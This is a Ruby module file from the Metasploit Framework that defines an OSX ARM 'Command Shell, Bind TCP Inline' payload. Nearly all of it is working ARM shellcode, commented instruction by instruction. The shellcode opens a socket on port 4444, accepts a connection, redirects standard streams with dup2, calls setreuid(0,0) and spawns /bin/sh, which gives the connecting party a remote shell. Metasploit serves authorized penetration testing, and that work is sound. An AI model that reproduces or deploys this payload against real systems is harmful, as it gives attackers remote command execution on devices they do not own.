metasploit-framework/modules/payloads/singles/osx/armle/shell_bind_tcp.rb

124 lines
2.9 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Osx
module Armle
module ShellBindTcp
include Msf::Payload::Single
include Msf::Payload::Osx
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX Command Shell, Bind TCP Inline',
'Version' => '$Revision$',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
'LPORT' => [ 30, 'n' ],
},
'Payload' =>
[
# socket
0xe3a00002, # mov r0, #0x2
0xe3a01001, # mov r1, #0x1
0xe3a02006, # mov r2, #0x6
0xe3a0c061, # mov r12, #0x61
0xef000080, # swi 128
0xe1a0a000, # mov r10, r0
0xeb000001, # bl _bind
# port 4444
0x5c110200,
0x00000000,
# bind
0xe1a0000a, # mov r0, r10
0xe1a0100e, # mov r1, lr
0xe3a02010, # mov r2, #0x10
0xe3a0c068, # mov r12, #0x68
0xef000080, # swi 128
# listen
0xe1a0000a, # mov r0, r10
0xe3a01001, # mov r1, #0x1
0xe3a0c06a, # mov r12, #0x6a
0xef000080, # swi 128
# accept
0xe3a0c01e, # mov r12, #0x1e
0xe1a0000a, # mov r0, r10
0xe3a01010, # mov r1, #0x10
0xe50d1018, # str r1, [sp, #-24]
0xe24d2010, # sub r2, sp, #0x10
0xe24d3018, # sub r3, sp, #0x18
0xef000080, # swi 128
0xe1a0b000, # mov r11, r0
# setup dup2
0xe3a05002, # mov r5, #0x2
# dup2
0xe3a0c05a, # mov r12, #0x5a
0xe1a0000b, # mov r0, r11
0xe1a01005, # mov r1, r5
0xef000080, # swi 128
0xe2455001, # sub r5, r5, #0x1
0xe3550000, # cmp r5, #0x0
0xaafffff8, # bge _dup2
# setreuid(0,0)
0xe3a00000, # mov r0, #0x0
0xe3a01000, # mov r1, #0x0
0xe3a0c07e, # mov r12, #0x7e
0xef000080, # swi 128
# execve
0xe0455005, # sub r5, r5, r5
0xe1a0600d, # mov r6, sp
0xe24dd020, # sub sp, sp, #0x20
0xe28f0014, # add r0, pc, #0x14
0xe4860000, # str r0, [r6], #0
0xe5865004, # str r5, [r6, #4]
0xe1a01006, # mov r1, r6
0xe3a02000, # mov r2, #0x0
0xe3a0c03b, # mov r12, #0x3b
0xef000080, # swi 128
# /bin/sh
0x6e69622f,
0x0068732f
].pack("V*")
}
))
end
end
end end end end end